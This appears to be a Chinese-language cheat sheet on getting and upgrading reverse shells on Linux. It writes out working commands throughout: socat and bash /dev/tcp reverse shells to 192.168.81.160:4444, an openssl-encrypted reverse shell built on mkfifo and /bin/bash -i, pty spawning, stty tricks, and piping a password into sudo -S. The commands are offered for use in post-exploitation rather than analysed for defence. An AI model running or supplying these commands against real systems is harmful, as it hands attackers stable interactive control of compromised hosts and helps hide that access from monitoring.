sudo命令
- 正常情况下不能执行sudo命令,sudo会启动子进程完成交互,反弹shell无法使用sudo命令,如果要使用,需使用
echo "password"|sudo -S 命令
完成sudo权限提升。
pty
- 获取到shell后,使用伪终端pty,进入交互式,可使用sudo命令。
python -c 'import pty; pty.spawn("/bin/bash")'
,ctrl+c仍会退出程序。
socat
- 使用socat完成反弹shell,可保证ctrl+c不会退出程序,和ssh类似,使用明文传输。
- 服务器:socat file:\`tty\`,raw,echo=0 tcp-listen:4444
- 客户端:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444
script
- 使用系统自带
script
命令,创建一个有tty的shell,ctrl+c仍会退出程序,必须使用/dev/null,否则会生成文件,记录所有命令和结果。 script /dev/null
openssl加密传输
- 生成密钥对,openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
- 服务器监听端口,openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
- 服务器发起连接,mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s
- 可使用加密连接,但是ctrl+c会退出程序。
nc+python升级完整pty
- 该方式可以保证ctrl+c不会退出连接。
- 服务器搜集信息:echo $TERM ,stty -a ,获取xterm信息和stty的rows和columns信息。
- 服务器监听端口:nc -lvvp 4444
- 客户端发起连接:bash -i >& /dev/tcp/192.168.81.160/4444 0>&1
- 交互式shell:python -c 'import pty; pty.spawn("/bin/bash")'
- 挂到后台:ctrl + z
- 重置stty:stty raw -echo
- 调回前台:fg
- 刷新终端:reset
- 设置环境变量:export SHELL=bash ,export TERM=xterm ,stty rows